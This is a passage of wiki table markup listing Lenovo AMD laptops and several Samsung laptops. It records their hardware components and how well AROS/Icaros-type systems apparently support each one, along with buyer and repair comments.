|&lt;!--Name--&gt;Lenovo ThinkPad T14 Gen 1, ThinkPad P14s Gen 1 (AMD) || &lt;!--Chipset--&gt;AMD Ryzen 3 4300u, 5 4500U, Ryzen 5 Pro 4650U, Ryzen 7 Pro 4750U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;1 NVMe || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for AMD Vega }} || &lt;!--Audio--&gt;{{unk|HDAudio with Realtek® ALC3287 0x10EC, 0x0257}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 RTL8111EPV (DASH models) or RTL8111HN}} || &lt;!--Wireless--&gt;{{no| wifi}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2020 64bit - USB-C charging avoid moving whilst in use - 14&quot; or 15&quot; 1080p - keyboard swap problematic - 8gb or 16gb 3200MHz soldered with 1 ddr4 sodimm slot - sd card slot - 
|-
|&lt;!--Name--&gt;Thinkpad L14 Gen 1, L15 Gen 1, || &lt;!--Chipset--&gt;AMD Ryzen 3 4300u, 5 4500U, Ryzen 5 Pro 4650U, Ryzen 7 Pro 4750U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;1 NVMe || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for AMD Vega }} || &lt;!--Audio--&gt;{{unk|HDAudio with Realtek® ALC3287 0x10EC, 0x0257}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{no|rtl8169 needs dongle RTL8111EPV (DASH models) or RTL8111HN}} || &lt;!--Wireless--&gt;{{no| wifi}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2020 64bit - USB-C charger avoid moving whilst in use - 14&quot; or 15&quot; 1080p - keyboard swap problematic - 8gb or 16gb 3200MHz soldered with 1 ddr4 sodimm slot - sd card slot - 
|-
|&lt;!--Name--&gt;Lenovo ThinkPad X13 Gen1 AMD,  || &lt;!--Chipset--&gt;AMD RYZEN 3 4450U, 5 4650U or 7 4750U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;One drive, up to 512GB M.2 2242 SSD or 1TB M.2 2280 SSD NVMe || &lt;!--Gfx--&gt;{{partial|VESA Radeon up to 2Gb of soldered ram memory taken}} || &lt;!--Audio--&gt;{{unk|HDAudio with Realtek® ALC3287 codec}} || &lt;!--USB--&gt;{{maybe| but USB-C ports can fail}} || &lt;!--Ethernet--&gt;{{no|Realtek RTL8111EPV, mini RJ-45 to RJ-45 via optional ThinkPad Ethernet Extension Adapter Gen 2}} || &lt;!--Wireless--&gt;{{no|Realtek Wi-Fi 6 RTL8852AE}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2020 13.3&quot; HD 1366x768 to 1080p - USB-C port care needed as damages easily - Memory soldered to systemboard, no slots, dual-channel DDR4-3200 - 
|-
|&lt;!--Name--&gt;Lenovo ThinkBook 14 G2, 15 G2 Are || &lt;!--Chipset--&gt;Ryzen 5 4500u, 7 4700U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;14in has 2 m.2 nvme but 15in has 1 nvme and might have 2.5in sata metal caddy if smaller battery version || &lt;!--Gfx--&gt;VESA 2d for AMD Radeon up to 2Gb of soldered ram memory taken || &lt;!--Audio--&gt;{{unk|HDAudio with ALC???? codec 0x10EC, 0x0}} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 }} || &lt;!--Wireless--&gt;{{No| wifi}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2020 64bit - 14in or 15in 1080p - usb-c charging but high failure rate on the charging port - 4gb or 8gb soldered with 1 ddr4 sodimm slot 3200mhz - hinge(s) issues - 
|-
|&lt;!--Name--&gt;IdeaPad 5 14ARE05 (81YM), Ideapad 5 15ARE05 (), IdeaPad 3 17ARE05 (model 81W5) - elan touchpad MSFT0004:00 06CB:CD98 not working || &lt;!--Chipset--&gt;'''tested''' 4500u - '''untested''' AMD 3 4300U (4c4t), 4600U (6c12t), 7 4700u (8c16t) on AMD Promontory Bixby FCH || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{no|1x M.2 2242 slot and 1x M.2 2280 NVMe which will take sata m.2 will boot to grub then laptop reset after choice}} || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for Vega 6 via hdmi output up to 2Gb of soldered ram memory taken}} || &lt;!--Audio--&gt;{{unk|HDAudio 6.36 0x1637 0x15e3 with Realtek ALC3287 aka ALC257 codec 0x10ec 0x0257}} || &lt;!--USB--&gt;{{maybe|USB 3.1 or 3.2 gen 1}} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{no|Intel ax200 wifi 6}} || &lt;!--Test Distro--&gt;4500u with AROS One 64bit 1.2 usb installed to m.2 sata on another machine || &lt;!--Comments--&gt;2020 64bit 14inch 768p or 1080p - round lenovo ac - 4gb, 8gb, or 16gb ddr4 3200Mhz ram soldered with 1 slot - keyboard swap problematic - integrated battery  - 
|-
|&lt;!--Name--&gt;Ideapad Flex 5 81X2, Lenovo Yoga 6 13ALC6 || &lt;!--Chipset--&gt;AMD R5 4500u, R7 4800U, R3 5300 R5 5500U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;M.2 NVMe ssd || &lt;!--Gfx--&gt;{{Maybe|VESA AMD Vega up to 2Gb of soldered ram memory taken}} || &lt;!--Audio--&gt;{{unk|HD Audio with ALC? codec}} || &lt;!--USB--&gt;{{maybe|USB3.1 gen 1}} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{no|realtek ac wifi}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2020 64bit abs plastic case 14in convertible 1080p touch low nits - 65w usb-c psu ac - possible wacom esr note taking pen supplied - ram soldered DDR4 - keyboard swap problematic - 
|-
|&lt;!--Name--&gt;ThinkPad T14 Gen 2, P14s Gen 2 || &lt;!--Chipset--&gt;AMD 5850U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;NVme || &lt;!--Gfx--&gt;VESA 2D || &lt;!--Audio--&gt;{{unk|HDaudio with ALC3287-CG codec 0x10EC, 0x0}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{Maybe| }} || &lt;!--Wireless--&gt;{{No| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2021 - usb-c power 90% failure rate on the charging port - 
|-
|&lt;!--Name--&gt;Lenovo ThinkBook 14 G3, 15 G3 ACL, || &lt;!--Chipset--&gt;Ryzen 5 5500U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;m.2 nvme || &lt;!--Gfx--&gt;VESA 2d for AMD Radeon || &lt;!--Audio--&gt;{{unk|HDAudio with ALC codec}} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 }} || &lt;!--Wireless--&gt;{{No| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2021 64bit - 14in or 15in 1080p - usb-c charging powered - 
|-
|&lt;!--Name--&gt;ThinkPad E14 G3, E15 Gen 3 (AMD) || &lt;!--Chipset--&gt;AMD 5300U 5500U 5650U 5700U 5800U  || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;up to 2 m.2 nvme || &lt;!--Gfx--&gt;{{Maybe|VESA }} || &lt;!--Audio--&gt;{{unk|HDaudio with Realtek® ALC3287 codec}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 RTL8111GUS}} || &lt;!--Wireless--&gt;{{no|realtek or intel }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2021 64bit - 15.6in 1080p - - usb-c charging issues - keyboard swap problematic - 4gb or 8gb soldered with 1 ddr4 3200Mhz sodimm slot - plastic bendy case -  
|-
|&lt;!--Name--&gt;V14 Gen 2 (82KA, 82KC)
*ALO 
*ALC 82KD
 || &lt;!--Chipset--&gt;Ryzen 3 5300U, 5 5500U, 7 5700U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;1 nvme 2280 and optional 2.5in sata after sourcing ribbon cable and connector, no dvd || &lt;!--Gfx--&gt;VESA 2D for AMD radeon || &lt;!--Audio--&gt;{{unk|HDAudio with Realtek® ALC3287 codec}} || &lt;!--USB--&gt;{{maybe|USB3 }} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 Realtek RTL8111H-CG}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2022 64bit - 15.6&quot; FHD 1080p - 4gb or 8gb soldered with 1 ddr4 sodimm slot - 65w round ac adaptor - 
|-
|&lt;!--Name--&gt;V15 G2 Gen2 (82KB, 82KD)
*ALO 
*ALC 82KD
 || &lt;!--Chipset--&gt;Ryzen 3 5300U, 5 5500U, 7 5700U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;1 nvme 2280 and optional 2.5in sata after sourcing ribbon cable and connector, no dvd || &lt;!--Gfx--&gt;VESA 2D for AMD radeon || &lt;!--Audio--&gt;{{unk|HDAudio with Realtek® ALC3287 codec}} || &lt;!--USB--&gt;{{maybe|USB3 }} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 Realtek RTL8111H-CG}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2022 64bit - 15.6&quot; FHD 1080p - 4gb or 8gb soldered with 1 ddr4 sodimm slot - 65w round ac adaptor - 
|-
|&lt;!--Name--&gt;ThinkPad L15 Gen 2 (15″, AMD) || &lt;!--Chipset--&gt;AMD 5000 series AMD Ryzen 3 5400U (4c8t), 5 5600U, 5 5650U (6c12t), 7 PRO 5850U (8c16t) || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;VESA 2D for AMD Radeon || &lt;!--Audio--&gt;{{unk|HDAudio with Realtek® ALC3287}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{no|rtl8169 needs dongle RTL8111EPV (DASH models) or RTL8111HN}} || &lt;!--Wireless--&gt;{{no| wifi}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2022 64bit - 15.6in 768p or 1080p - usb-c charging - 4gb soldered with 1 ddr4 3200Mhz sodimm slot - 
|-
|&lt;!--Name--&gt;ThinkPad E14 Gen 4, E15 Gen 4 (15″, AMD) || &lt;!--Chipset--&gt;AMD 3 5425u, 5 5625U, 7 5825u || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;1 (14&quot;) or 2 (15&quot;) nvme || &lt;!--Gfx--&gt;VESA 2D for AMD Radeon || &lt;!--Audio--&gt;{{unk|HDAudio with ALC3287 codec}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 }} || &lt;!--Wireless--&gt;{{no| wifi}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2023 64bit - 15.6in 1080p - usb-c charging - 4gb or 8gb soldered with 1 ddr4 3200Mhz sodimm slot - L19M3PDA 45Whr battery - U24 TPS65994 and QB6 QB5 mosfet issues - plastic bendy case - 
|-
|&lt;!--Name--&gt;ThinkPad T14 Gen 3 Machine types MT 21AH 21AJ 21CF and 21CG, P14s Gen 3 || &lt;!--Chipset--&gt;AMD 6850U || &lt;!--IDE--&gt;{{n/a}} || &lt;!--SATA--&gt;NVme || &lt;!--Gfx--&gt;VESA 2d || &lt;!--Audio--&gt;{{unk| ALC3287-VA2-CG codec}} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{Maybe|rtl8169 }} || &lt;!--Wireless--&gt;{{no| wifi}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2022 64bit - 14in 
|-
|&lt;!--Name--&gt;ThinkPad T14s Gen 3 || &lt;!--Chipset--&gt;AMD 6500U || &lt;!--IDE--&gt;{{n/a}} || &lt;!--SATA--&gt;NVme || &lt;!--Gfx--&gt;VESA 2d || &lt;!--Audio--&gt;{{unk| ALC3287-VA2-CG codec}} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{no|Ethernet support via optional Lenovo® USB-C® to Ethernet Adapter}} || &lt;!--Wireless--&gt;{{no| wifi}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2022 64bit - 14in 
|-
|&lt;!--Name--&gt;V14 G3, V15 G3 Gen3 ALC || &lt;!--Chipset--&gt;Ryzen 5 6500U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;nvme and optional 2.5in sata if smaller 38Wh battery and after sourcing ribbon cable and connector, no dvd || &lt;!--Gfx--&gt;VESA 2D for AMD Radeon || &lt;!--Audio--&gt;{{unk| }} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 }} || &lt;!--Wireless--&gt;{{no| wifi}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2023 64bit - 15&quot;FHD - battery BYD L20B2PFO - 
|-
|&lt;!--Name--&gt;ThinkPad L15 Gen 3 (15″, AMD) || &lt;!--Chipset--&gt;AMD 6000 series || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;nvme || &lt;!--Gfx--&gt;VESA 2D for AMD Radeon || &lt;!--Audio--&gt;{{No| }} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{no|rtl8169 needs dongle}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2023 64bit- 15.6in 1080p - 
|-
|&lt;!--Name--&gt;Lenovo Yoga 7 14ARB7 || &lt;!--Chipset--&gt;AMD Ryzen 5, 6600U, 7 6800U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;1 nvme || &lt;!--Gfx--&gt;AMD 660M or 680M || &lt;!--Audio--&gt;{{No|HDaudio with ALC3306 aka alc287 codec}} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{no| wifi}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2022 64bit - 14in 1800p ips 300 nits - usb-c ac charging 71whr integrated battery - sd card slot - digital pen input - 8gb, 6gb or 32gb soldered ddr5 ram - 
|-
|&lt;!--Name--&gt;ThinkPad T14 Gen 4, P14s Gen 4 || &lt;!--Chipset--&gt;AMD Ryzen Pro 5 7540U, Ryzen Pro 7 7840U (AI NPU) || &lt;!--IDE--&gt;{{n/a}} || &lt;!--SATA--&gt;NVme || &lt;!--Gfx--&gt;VESA 2D for AMD 740M 780M|| &lt;!--Audio--&gt;{{unk|HDAudio ALC3287 codec}} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 }} || &lt;!--Wireless--&gt;{{no| wifi}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2023 64bit - 14in 1920x1200 - 8gb, 16gb or 32gb lpddr5 soldered - usb-c charging - 
|-
|&lt;!--Name--&gt;ThinkPad E14 g5, E15 Gen 5 (15″, AMD) || &lt;!--Chipset--&gt;AMD 7000 series Ryzen 5-7530U, 7-7730U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;nvme || &lt;!--Gfx--&gt;VESA 2D for AMD Radeon || &lt;!--Audio--&gt;{{unk|HDAudio with codec}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe| }} || &lt;!--Wireless--&gt;{{no| wifi}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2023 64bit- 15.6in 1080p - 
|-
|&lt;!--Name--&gt;Thinkbook 14 G6 ABP IRL, ThinkBook 16 G6ABP (21KK001CUK) || &lt;!--Chipset--&gt;AMD Ryzen 7530U 7730U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;m.2 nvme || &lt;!--Gfx--&gt;VESA 2d for AMD Radeon || &lt;!--Audio--&gt;{{unk|HDaudio with codec}} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 untested}} || &lt;!--Wireless--&gt;{{No| wifi}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2023 64bit - 14in 1200p or 1440p - 100W USB-C AC power adapter - 
|-
|&lt;!--Name--&gt;IdeaPad Slim 5 Light 14ABR8 Laptop || &lt;!--Chipset--&gt;AMD Ryzen 3 7330U (4c8t) 5 7530U (6c12t) 7 7730U (8c16t) || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;2 m.2 nvme slot - 1 2242, 1 2280 || &lt;!--Gfx--&gt;VESA 2d for AMD Radeon || &lt;!--Audio--&gt;{{unk|HDaudio with Realtek® ALC3287 codec}} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{No| wifi}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2023 64bit - 14in 1080p - 8Gb or 16Gb soldered ram - usb-c charging only - 
|-
|&lt;!--Name--&gt;ThinkPad X13 Gen 4 (13&quot; AMD) || &lt;!--Chipset--&gt;AMD 7480U 7040U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;NVMe || &lt;!--Gfx--&gt;{{partial|VESA}} || &lt;!--Audio--&gt;{{unk| }} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{no| wifi}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2023 - avoid usb-c port damage - 
|-
|&lt;!--Name--&gt;ThinkPad L14 (Gen4), L15 Gen 4 (15&quot; AMD) || &lt;!--Chipset--&gt;MD Ryzen 5 PRO 7530U, 7480U 7040U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;NVMe || &lt;!--Gfx--&gt;{{partial|VESA}} || &lt;!--Audio--&gt;{{unk| }} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{no|rtl8169 needs dongle}} || &lt;!--Wireless--&gt;{{no| wifi}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2023 64bit - elan trackpad - 
|-
|&lt;!--Name--&gt;Lenovo Gen 4 V14 (82YT, 82YV, 83A0, 83A1, 83CC, 83FR, 82YX, 83FG), V15 (82YU, 82YW, 83FS, 82YY, 83CR), V17 (83A2),  || &lt;!--Chipset--&gt;AMD AMD Athlon™ Gold 7220U (2c4t), AMD Athlon™ Silver 7120U (2c2t), AMD Ryzen™ 3 7320U (4c8t), AMD Ryzen™ 5 7520U (4c8t) || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;nvme and 2.5in sata if smaller 38Wh battery, no dvd || &lt;!--Gfx--&gt;{{Maybe|VESA 2d for AMD 610M HDMI® and USB-C}} || &lt;!--Audio--&gt;{{unk|HDaudio  with ALC3287 codec}} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{no|Gigabit Ethernet, 1x RJ-45}} || &lt;!--Wireless--&gt;{{no|wifi 6}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2023 64bit - 15.6&quot; FHD 1080p - 8 or 16Gb soldered - 65W round tip (3-pin) AC adapter or USB-C - 
|-
|&lt;!--Name--&gt;ThinkPad e14 G6, e15 Gen 6 (15″, AMD) || &lt;!--Chipset--&gt;AMD 7000 series AMD Ryzen™ 7 7735HS || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;nvme || &lt;!--Gfx--&gt;VESA 2D for AMD Radeon || &lt;!--Audio--&gt;{{unk|HDAudio codec}} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{maybe| }} || &lt;!--Wireless--&gt;{{no| wifi}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2023 64bit- 15.6in 1080p - 
|-
|&lt;!--Name--&gt;ThinkPad L16 (16&quot; AMD),  || &lt;!--Chipset--&gt;AMD 8000 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;nvme  || &lt;!--Gfx--&gt;VESA 2D || &lt;!--Audio--&gt;{{unk|HDAudio with codec}} || &lt;!--USB--&gt;{{maybe|USB4}} || &lt;!--Ethernet--&gt;{{no|rtl8169 needs dongle}} || &lt;!--Wireless--&gt;{{no| wifi}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2025 64bit 
|-
|&lt;!--Name--&gt;ThinkPad T14 Gen 5, P14s Gen 5 || &lt;!--Chipset--&gt;AMD Ryzen 7 PRO 8840U, AMD Ryzen™ 5 PRO 8540U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;NVME || &lt;!--Gfx--&gt;VESA 2d || &lt;!--Audio--&gt;{{unk| }} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 }} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2025 64bit - 14inch 1920 x 1200 - 
|-
|&lt;!--Name--&gt; Lenovo WinBook 300e SKU: 82GKS00000 || &lt;!--Chipset--&gt;AMD 3015E  || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2023 64bit 4GB 64GB SSD 11.6 Inch Touchscreen Windows 10 Pro Laptop 
|-
|&lt;!--Name--&gt;ThinkPad  || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
|&lt;!--Name--&gt;Lenovo Yoga Slim 7a || &lt;!--Chipset--&gt;AMD Ryzen AI 7350 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;1 nvme || &lt;!--Gfx--&gt;AMD 860M || &lt;!--Audio--&gt;{{No|HDaudio with ALC3306 aka alc287 codec}} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{no| wifi}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2025 64bit - 14in 1800p ips 300 nits - usb-c ac charging 71whr integrated battery - sd card slot - digital pen input - 8gb, 6gb or 32gb soldered ddr5 ram - 
|-
|&lt;!--Name--&gt;ThinkPad  || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
|}

====Samsung====

[[#top|...to the top]]

{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;10%&quot; |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;5%&quot; |Ethernet
! width=&quot;2%&quot; |Wireless 
! width=&quot;5%&quot; |Test Distro
! width=&quot;20%&quot; |Comments
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;NP-Q1 Q1 || &lt;!--Chipset--&gt;Celeron-M 353 ULV 600Mhz || &lt;!--IDE--&gt;{{Yes|1.8&quot; SFF HDD 20 / 60 GB }} || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{Yes|GMA 915 2D and 3D opengl1 tunnel 95 gearbox 68}} || &lt;!--Audio--&gt;{{Yes|HD Audio with  codec - head phones only}} || &lt;!--USB--&gt;{{Yes}} || &lt;!--Ethernet--&gt;{{No|Marvell}} || &lt;!--Wireless--&gt;{{Yes|Atheros 5006EX}} || &lt;!--Test Distro--&gt;2016 Icaros 2.1 || &lt;!--Comments--&gt;2005 32bit old style tablet UltraMobile PC UMPC - Wacom serial resistive pen or finger no support - 1 sodimm ddr2 max 1Gb - LCD 7&quot; WVGA (800 x 480) - CompactFlash port Type II - 
|-
| &lt;!--Name--&gt;NP Q1U Ultra Mobile PC UMPC Q1F NP-Q1-F000 || &lt;!--Chipset--&gt;Intel A100 600 / A110 Stealey 800 MHz CPU || &lt;!--IDE--&gt;{{Yes}} || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{Maybe|GMA 950 2D and 3D opengl1}} || &lt;!--Audio--&gt;{{No|HD Audio 1986}} || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Intel || &lt;!--Wireless--&gt;{{Maybe|Atheros 5006EX}} || &lt;!--Test Distro--&gt;2016 Icaros 2.1 || &lt;!--Comments--&gt;2006 32bit 1024×600 - sd card slot - 
|-
| &lt;!--Name--&gt;NP P500 family P500Y || &lt;!--Chipset--&gt;AMD with SB600 || &lt;!--IDE--&gt;{{N/A| }} || &lt;!--SATA--&gt;{{Yes| }} || &lt;!--Gfx--&gt;{{Maybe|use VESA Ati x1250}} || &lt;!--Audio--&gt;{{Yes| Audio with  codec }} || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{No|Marvell 88E8039 yukon}} || &lt;!--Wireless--&gt;{{yes|Atheros G}} || &lt;!--Test Distro--&gt;2017 Icaros 2.1.2 || &lt;!--Comments--&gt;64bit possible - 15.4 tft display - cheap plastic okay build - 19v propriety end - 
|-
| &lt;!--Name--&gt;R505 R510 || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt;Atheros G || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;R520 R522 R610H R620 || &lt;!--Chipset--&gt;Intel Mobile Core i3 Intel PM45 82801M ICH9-M|| &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;ATI Mobility Radeon HD 4650 (RV730)  || &lt;!--Audio--&gt;Intel HD Audio with Realtek ALC272  || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Marvell Yukon 88E8057 || &lt;!--Wireless--&gt;Atheros AR5007EG || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2010 64 bit possible 
|-
| NP-R530 ||  || {{N/A}} || {{partial|IDE mode}} || {{yes|Intel GMA (2D)}} || {{partial|HD Audio playback}} || {{yes|USB 2.0}} || {{no|Marvell}} || {{unk|Atheros AR9285}} || Icaros 1.5.2 || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;Samsung R730 17.3 Essential Notebook NP-R730-JA02UK, NP-R730-JA01SE, R730-JT06 || &lt;!--Chipset--&gt;Intel HM55 Dual Core T4300 i3-370M || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Maybe|use VESA for Intel 4500MHD and GeForce G 310M with 1 VGA, 1 HDMI}} || &lt;!--Audio--&gt;{{Yes|HDAudio ALC??? codec Realtek}} || &lt;!--USB--&gt;{{yes|USB2}} || &lt;!--Ethernet--&gt;{{No|Marvell Yukon 88E8059 PCI-E}} || &lt;!--Wireless--&gt;{{unk|Broadcom, Intel or Atheros 9k AR9285}} || &lt;!--Test Distro--&gt;Deadwoods ISO 2023-11 || &lt;!--Comments--&gt;2010 64bit - 17.3in HD 1280 x 720 pixels low contrast or some 1600x900 - 2 DDR3 sodimm slots - 2.84 kg 6.26 lbs - 
|-
